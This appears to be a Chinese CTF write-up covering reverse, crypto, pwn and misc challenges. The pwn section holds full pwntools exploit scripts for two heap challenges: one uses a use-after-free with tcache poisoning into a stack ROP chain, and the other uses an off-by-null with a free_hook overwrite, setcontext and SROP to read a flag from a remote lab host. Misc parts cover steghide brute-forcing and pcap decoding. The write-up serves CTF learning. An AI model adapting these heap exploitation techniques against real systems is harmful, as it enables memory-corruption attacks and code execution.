0xF9791330, 0x417C6668, 0x297F4AA0, 0xE6ECFDDC, 0x8EEFD114, 0x36EAA44C, 0x5EE98884, 0x430C380D, 0x2B0F14C5, 0x930A619D, 0xFB094D55, 0xA8C1008F, 0xC0C22C47, 0x78C7591F, 0x10C475D7, 0x0D21C55E, 0x6522E996, 0xDD279CCE, 0xB524B006, 0x47EC84C7, 0x2FEFA80F, 0x97EADD57, 0xFFE9F19F, 0xE20C4116, 0x8A0F6DDE, 0x320A1886, 0x5A09344E, 0x09C17994, 0x61C2555C, 0xD9C7, 0xB1C40CCC, 0xAC21BC45, 0xC422908D, 0x7C27E5D5, 0x1424C91D, 0xDBB77E61, 0xB3B452A9, 0x0BB127F1, 0x63B20B39, 0x7E57BBB0, 0x16549778, 0xAE51E220, 0xC652CEE8, 0x959A8332, 0xFD99AFFA, 0x459CDAA2, 0x2D9FF66A, 0x307A46E3, 0x58796A2B, 0xE07C1F73, 0x887F33BB, 0xF56E0EF4, 0x9D6D223C, 0x25685764, 0x4D6B7BAC, 0x508ECB25, 0x388DE7ED, 0x808892B5, 0xE88BBE7D, 0xBB43F3A7, 0xD340DF6F, 0x6B45AA37, 0x034686FF, 0x1EA33676, 0x76A01ABE, 0xCEA56FE6, 0xA6A6432E, 0x6935F452, 0x0136D89A, 0xB933ADC2, 0xD130810A, 0xCCD53183, 0xA4D61D4B, 0x1CD36813, 0x74D044DB, 0x27180901, 0x4F1B25C9, 0xF71E5091, 0x9F1D7C59, 0x82F8CCD0, 0xEAFBE018, 0x52FE9540, 0x3AFDB988, 0xC8358D49, 0xA036A181, 0x1833D4D9, 0x7030F811, 0x6DD54898, 0x05D66450, 0xBDD31108, 0xD5D03DC0, 0x8618701A, 0xEE1B5CD2, 0x561E298A, 0x3E1D0542, 0x23F8B5CB, 0x4BFB9903, 0xF3FEEC5B, 0x9BFDC093, 0x546E77EF, 0x3C6D5B27, 0x84682E7F, 0xEC6B02B7, 0xF18EB23E, 0x998D9EF6, 0x2188EBAE, 0x498BC766, 0x1A438ABC, 0x7240A674, 0xCA45D32C, 0xA246FFE4, 0xBFA34F6D, 0xD7A063A5, 0x6FA516FD, 0x07A63A35, 0x8FD9098E, 0xE7DA2546, 0x5FDF501E, 0x37DC7CD6, 0x2A39CC5F, 0x423AE097, 0xFA3F95CF, 0x923CB907, 0xC1F4F4DD, 0xA9F7D815, 0x11F2AD4D, 0x79F18185, 0x6414310C, 0x0C171DC4, 0xB412689C, 0xDC114454, 0x1382F328, 0x7B81DFE0, 0xC384AAB8, 0xAB878670, 0xB66236F9, 0xDE611A31, 0x66646F69, 0x0E6743A1, 0x5DAF0E7B, 0x35AC22B3, 0x8DA957EB, 0xE5AA7B23, 0xF84FCBAA, 0x904CE762, 0x2849923A, 0x404ABEF2, 0xB2828A33, 0xDA81A6FB, 0x6284D3A3, 0x0A87FF6B, 0x17624FE2, 0x7F61632A, 0xC7641672, 0xAF673ABA, 0xFCAF7760, 0x94AC5BA8, 0x2CA92EF0, 0x44AA0238, 0x594FB2B1, 0x314C9E79, 0x8949EB21, 0xE14AC7E9, 0x2ED97095, 0x46DA5C5D, 0xFEDF2905, 0x96DC05CD, 0x8B39B544, 0xE33A998C, 0x5B3FECD4, 0x333CC01C, 0x60F48DC6, 0x08F7A10E, 0xB0F2D456, 0xD8F1F89E, 0xC5144817, 0xAD1764DF, 0x15121187, 0x7D113D4F, 0x00000000, 0x493C7D27, 0x9278FA4E, 0xDB448769, 0x211D826D, 0x6821FF4A, 0xB3657823, 0xFA590504, 0x423B04DA, 0x0B0779FD, 0xD043FE94, 0x997F83B3, 0x632686B7, 0x2A1AFB90, 0xF15E7CF9, 0xB86201DE, 0x847609B4, 0xCD4A7493, 0x160EF3FA, 0x5F328EDD, 0xA56B8BD9, 0xEC57F6FE, 0x37137197, 0x7E2F0CB0, 0xC64D0D6E, 0x8F717049, 0x5435F720, 0x1D098A07, 0xE7508F03, 0xAE6CF224, 0x7528754D, 0x3C14086A, 0x0D006599, 0x443C18BE, 0x9F789FD7, 0xD644E2F0, 0x2C1DE7F4, 0x65219AD3, 0xBE651DBA, 0xF759609D, 0x4F3B6143, 0x06071C64, 0xDD439B0D, 0x947FE62A, 0x6E26E32E, 0x271A9E09, 0xFC5E1960, 0xB5626447, 0x89766C2D, 0xC04A110A, 0x1B0E9663, 0x5232EB44, 0xA86BEE40, 0xE1579367, 0x3A13140E, 0x732F6929, 0xCB4D68F7, 0x827115D0, 0x593592B9, 0x1009EF9E, 0xEA50EA9A, 0xA36C97BD, 0x782810D4, 0x31146DF3, 0x1A00CB32, 0x533CB615, 0x8878317C, 0xC1444C5B, 0x3B1D495F, 0x72213478, 0xA965B311, 0xE059CE36, 0x583BCFE8, 0x1107B2CF, 0xCA4335A6, 0x837F4881, 0x79264D85, 0x301A30A2, 0xEB5EB7CB, 0xA262CAEC, 0x9E76C286, 0xD74ABFA1, 0x0C0E38C8, 0x453245EF, 0xBF6B40EB, 0xF6573DCC, 0x2D13BAA5, 0x642FC782, 0xDC4DC65C, 0x9571BB7B, 0x4E353C12, 0x07094135, 0xFD504431, 0xB46C3916, 0x6F28BE7F, 0x2614C358, 0x1700AEAB, 0x5E3CD38C, 0x857854E5, 0xCC4429C2, 0x361D2CC6, 0x7F2151E1, 0xA465D688, 0xED59ABAF, 0x553BAA71, 0x1C07D756, 0xC743503F, 0x8E7F2D18, 0x7426281C, 0x3D1A553B, 0xE65ED252, 0xAF62AF75, 0x9376A71F, 0xDA4ADA38, 0x010E5D51, 0x48322076, 0xB26B2572, 0xFB575855, 0xDF3C, 0x692FA21B, 0xD14DA3C5, 0x9871DEE2, 0x4335598B, 0x0A0924AC, 0xF05021A8, 0xB96C5C8F, 0x6228DBE6, 0x2B14A6C1, 0x34019664, 0x7D3DEB43, 0xA6796C2A, 0xEF45110D, 0x151C1409, 0x5C20692E, 0x8764EE47, 0xCE589360, 0x763A92BE, 0x3F06EF99, 0xE44268F0, 0xAD7E15D7, 0x572710D3, 0x1E1B6DF4, 0xC55FEA9D, 0x8C6397BA, 0xB0779FD0, 0xF94BE2F7, 0x220F659E, 0x6B3318B9, 0x916A1DBD, 0xD856609A, 0x0312E7F3, 0x4A2E9AD4, 0xF24C9B0A, 0xBB70E62D, 0x60346144, 0x29081C63, 0xD3511967, 0x9A6D6440, 0x4129E329, 0x08159E0E, 0x3901F3FD, 0x703D8EDA, 0xAB7909B3, 0xE2457494, 0x181C7190, 0x51200CB7, 0x8A648BDE, 0xC358F6F9, 0x7B3AF727, 0x32068A00, 0xE9420D69, 0xA07E704E, 0x5A27754A, 0x131B086D, 0xC85F8F04, 0x8163F223, 0xBD77FA49, 0xF44B876E, 0x2F0F0007, 0x66337D20, 0x9C6A7824, 0xD5560503, 0x0E12826A, 0x472EFF4D, 0xFF4CFE93, 0xB67083B4, 0x6D3404DD, 0x240879FA, 0xDE517CFE, 0x976D01D9, 0x4C2986B0, 0x0515FB97, 0x2E015D56, 0x673D2071, 0xBC79A718, 0xF545DA3F, 0x0F1CDF3B, 0x4620A21C, 0x9D642575, 0xD4585852, 0x6C3A598C, 0x250624AB, 0xFE42A3C2, 0xB77EDEE5, 0x4D27DBE1, 0x041BA6C6, 0xDF5F21AF, 0x96635C88, 0xAA7754E2, 0xE34B29C5, 0x380FAEAC, 0x7133D38B, 0x8B6AD68F, 0xC256ABA8, 0x19122CC1, 0x502E51E6, 0xE84C5038, 0xA1702D1F, 0x7A34AA76, 0x3308D751, 0xC951D255, 0x806DAF72, 0x5B29281B, 0x1215553C, 0x230138CF, 0x6A3D45E8, 0xB179C281, 0xF845BFA6, 0x021CBAA2, 0x4B20C785, 0x906440EC, 0xD9583DCB, 0x613A3C15, 0x28064132, 0xF342C65B, 0xBA7EBB7C, 0x4027BE78, 0x091BC35F, 0xD25F4436, 0x9B633911, 0xA777317B, 0xEE4B4C5C, 0x350FCB35, 0x7C33B612, 0x866AB316, 0xCF56CE31, 0x14124958, 0x5D2E347F, 0xE54C35A1, 0xAC704886, 0x7734CFEF, 0x3E08B2C8, 0xC451B7CC, 0x8D6DCAEB, 0x56294D82, 0x1F1530A5};unsigned int unk_140024610[] = {0x95F553DC, 0x1D3B4E23, 0x0B913414, 0x6B9E4582, 0x35E7621B, 0xFC86887F, 0x26DEA0FB, 0x87044CAA};unsigned int enflag[] = {48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102};unsigned int v12,v13,v14,v15,v16,v17,v18,v19,v20;for(int a=0;a<=15;a++){for(int b=0;b<=15;b++){for(int c=0;c<=15;c++){for(int d=0;d<=15;d++){unsigned int v4 = 0,v7 = 0;unsigned int v9 = 0xffffffff;unsigned int tmp[] = {enflag[a], enflag[b], enflag[c], enflag[d]};for(int i=0;i<4;i++)v9 = dword_140024630[v7 + (~(tmp[i] & v9) & (tmp[i] | v9)&0xff)] ^ (v9 >> 8); v12 = (v9 | ~unk_140024610[v4]) & ~(v9 & ~unk_140024610[v4]);v13 = ((((((((v12 | (v12 >> 1)) >> 2) | v12 | (v12 >> 1)) >> 4) | ((v12 | (v12 >> 1)) >> 2) | v12 | (v12 >> 1)) >> 8) | ((((v12 | (v12 >> 1)) >> 2) | v12 | (v12 >> 1)) >> 4) | ((v12 | (v12 >> 1)) >> 2) | v12 | (v12 >> 1)) >> 16) | ((((((v12 | (v12 >> 1)) >> 2) | v12 | (v12 >> 1)) >> 4) | ((v12 | (v12 >> 1)) >> 2) | v12 | (v12 >> 1)) >> 8) | ((((v12 | (v12 >> 1)) >> 2) | v12 | (v12 >> 1)) >> 4) | ((v12 | (v12 >> 1)) >> 2) | v12 | (v12 >> 1);v14 = ((v12 & (v13 | (v13 >> 1)) & ~(v13 & (v13 >> 1))) >> 1) | v12 & (v13 | (v13 >> 1)) & ~(v13 & (v13 >> 1));v15 = (((v14 >> 2) | v14) >> 4) | (v14 >> 2) | v14;v16 = (((v15 >> 8) | v15) >> 16) | (v15 >> 8) | v15;v17 = (4 * ((2 * v16) | v16)) | (2 * v16) | v16;v18 = (((16 * v17) | v17) << 8) | (16 * v17) | v17;v19 = (4 * ((2 * (v13 & 1)) | v13 & 1)) | (2 * (v13 & 1)) | v13 & 1;v20 = (((16 * v19) | v19) << 8) | (16 * v19) | v19;if (((v20 | (v20 << 16)) & (~((v18 << 16) | v18) | v18 & 1)) == 0){for(int j = 0;j<4;j++){printf("%c",tmp[j]);}}}}}}return 0;}
Crypto:
Math1:
题目:
根据给出的脚本,分析算法:
编写脚本:
脚本运行结果如下:
gcrd2
先看给的题目,分析之后知道out文件中存的是矩阵相乘后的aT
和bT
,改成txt
打开out
文件
这个文件中是aT
和bT
两个矩阵,然后发现这个和a和b的格式是一样的,所以T应该就是对角线上为1,其余位置为0的32*32
的矩阵,所以能推出aT=a*T=a
,那么aT
和bT
就是a和b两个矩阵。将上述分析出的a,b,T
三个矩阵写到题目给的脚本里跑一下
得到flag的值为25468,然后把这个值进行md5加密,32位小写的MD5值就是flag。
PWN
mountain
libc版本为2.34,ida分析pwn
发现存在uaf漏洞在Del函数中
# -*- coding:utf-8 -*-from pwn import *checknum = 0if checknum == 1:p = process('./pwn')else:p = remote("172.16.30.172",58012)context(log_level='debug', os='linux', arch='amd64')elf = ELF('./pwn')libc = ELF('./libc.so.6')def s(num):return 'a'*numdef chance(num):p.recvuntil(":")p.sendline(str(num))def Add(size,content):chance(1)p.recvuntil(":")p.sendline(str(size))p.recvuntil(":")p.sendline(content)def Del(index):chance(2)p.recvuntil(":")p.sendline(str(index))def Show(index):chance(3)p.recvuntil(":")p.sendline(str(index))def Edit(index,content):chance(4)p.recvuntil(":")p.sendline(str(index))p.recvuntil(":")p.send(content)Add(0x420,s(5))Add(0x30,s(5))Add(0x30,s(5))Add(0x30,s(5))Add(0x30,s(5))Add(0x30,s(5))Del(0)Show(0)leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))libc_base = leak -(96+32+224+20+204) - libc.sym['_IO_2_1_stdin_']environ = libc_base + libc.sym['environ']success(hex(leak))success(hex(libc_base))Del(1)Show(1)heap = u64(p.recv(5).ljust(8,b'\x00'))heap = u64(p.recv(5).ljust(8,b'\x00'))heap_base = (heap << 12 ) ^ 0success(hex(heap_base))Edit(1,s(8))Show(1)p.recvuntil(s(8))key = u64(p.recv(8))success(hex(key))Edit(1,p64(heap))Del(2)Del(3)res = heap ^ (environ-0x10)success(hex(res))Edit(2,p64(res))Add(0x30,'')Add(0x30,'')Add(0x30,s(15))Show(8)stack = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))ret_addr_stack = stack - 0x150success(hex(stack))Add(0x3ff,s(4))Add(0x3ff,s(4))Add(0x3ff,s(4))Add(0x3ff,s(4))Del(10)Del(11)Show(10)leak = u64(p.recv(6).ljust(8,b'\x00'))leak = u64(p.recv(6).ljust(8,b'\x00'))success(hex(leak))tar_heap = (heap_base + 0x1b10)>>12tar_addr = tar_heap ^ (ret_addr_stack-8-0x10)Edit(11,p64(tar_addr))Add(0x30,'')pop_rdx = libc_base + 0x876e9pop_rax = libc_base + 0x446b0pop_rdi = libc_base + 0x2daa2pop_rsi = libc_base + 0x37bfaputs = libc_base+libc.sym['puts']read = libc_base + libc.sym['read']write = libc_base + libc.sym['write']open_l = libc_base + libc.sym['open']libc_bss = libc_base + libc.bss()flag = libc_bsspayload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x20) + p64(0) +p64(read)payload += p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_l)payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag+0x10)+p64(pop_rdx)+p64(0x50) + p64(0) +p64(read)payload += p64(pop_rdi)+p64(flag+0x10)+p64(puts)Add(0x30,s(24) + payload)p.sendline('./flag\x00')p.interactive()
soil
附件类似,利用和上一个题一个exp就行
lttleduck
hint
存在offbynull
漏洞
# -*- coding:utf-8 -*-from pwn import *checknum = 0if checknum == 1:p = process('./littleduck')else:p = remote("172.16.30.172",58011)context(log_level='debug', os='linux', arch='amd64')elf = ELF('./littleduck')libc = ELF('./libc.so.6')def s(num):return 'a'*numdef choice(num):p.recvuntil(":")p.sendline(str(num))def Add():choice(1)def Del(index):choice(2)p.recvuntil(":")p.sendline(str(index))def Show(index):choice(3)p.recvuntil(":")p.sendline(str(index))def Edit(index,content):choice(4)p.recvuntil(":")p.sendline(str(index))p.recvuntil(":")p.sendline(str(0xf8))p.recvuntil(":")p.send(content)for i in range(10):Add()for i in range(3,10):Del(i)for i in range(3):Del(i)for i in range(10):Add()for i in range(8):Del(i)for i in range(7):Add()Del(8)Add()for i in range(7):Del(i)Edit(7,s(0xf8))Del(9)for i in range(8):Add()Show(7)leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))libc_base = leak - (96 + 0x10) - libc.sym['__malloc_hook']system = libc_base + libc.sym['system']setcontext = libc.sym['setcontext'] + libc_base +53syscall = libc_base+0xd2625fh = libc_base + libc.sym['__free_hook']success(hex(leak))success(hex(libc_base))Add()Del(7)Edit(9,p64(fh))Add()Add()Edit(10,p64(setcontext))payload1 = SigreturnFrame()payload1.rsp = (fh&0xfffffffffffff000)+8payload1.rax = 0payload1.rdi = 0payload1.rsi = fh&0xfffffffffffff000payload1.rdx = 0x2000payload1.rip = syscallEdit(9,bytes(payload1)[0:0xf0])Del(9)pop_rdi=libc_base+0x2164fpop_rsi=libc_base+0x23a6apop_rdx=libc_base+0x1b96pop_rax=libc_base+0x1b500payload2=p64(pop_rdi)+p64(fh&0xfffffffffffff000)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)payload2+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64((fh&0xfffffffffffff000)+0x200)+p64(pop_rdx)+p64(0x30)+p64(pop_rax)+p64(0)+p64(syscall)payload2+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64((fh&0xfffffffffffff000)+0x200)+p64(pop_rdx)+p64(0x30)+p64(pop_rax)+p64(1)+p64(syscall)payload3=b'./flag'.ljust(8,b'\x00')+payload2p.sendline(payload3)p.interactive()![在这里插入图片描述](https://img-/0220d6b546794a6e81373b4af2726e4a.png)
Misc
Conversion:
打开题目是一堆编码,HEX
换表,把GHIJKL
换成ABCDEF
即可
接下来就是base32
和base85
涂色板2:
用winhex进行观察,通过和正常jpg文件一一对比发现,文件中的十六进制奇数位字节使用以下对应方式做了替换:0-2 1-3 2-0 3-1 4-6 5-7 6-4 7-5 8-A 9-B A-8 9-B C-E D-F E-C F-D
通过脚本将正确的jpg文件进行还原,如下所示,同时发现文件尾部提示密钥长度为4:
根据题目提示steghide
爆破,使用脚本对该jpg
文件进行爆破,字典为4位密钥,得到密码为1235
。使用steghide
解密得到hint.txt
。
Hint中需要计算以下问题,经过计算得到最后答案27450,md5后为84fc80be70d6ffd85f3f172f1f8ea150,得到flag。
听说这是一个二维码
首先附件为一个wav
文件,文件尾为一段base64
使用工具进行解码,得到一段提示,提示为deepsound工具。
密码为ThisI5Passw0rd
可以提取到flag.pcap
观察pcap包可以看到,IP分别为172.16.0.1,172.16.255.1
,猜测0和255分别代表白色和黑色组成二维码。使用脚本提取。
import pysharkdata = []cap = pyshark.FileCapture('flag.pcap', tshark_path= "E:\Wireshark\\tshark.exe")cap.load_packets()for i in range(0, len(cap)):data.append(cap[i].ip.dst[7:-2])#print(cap[0].ip.dst[7:-2])print(data)绘制出二维码import PIL.ImageMAX = 132bbb = 132pic = PIL.Image.new("RGB", (MAX, bbb))data = [提取的数据]i = 0 for y in range(0, bbb):for x in range(0, MAX):if (data[i] == '0'):pic.putpixel([x,y], (0,0,0))else:pic.putpixel([x,y], (255,255,255))i = i+ 1pic.show()pic.save('flag.png')
看到为DataMatrix
二维码,使用工具扫描就可以得到flag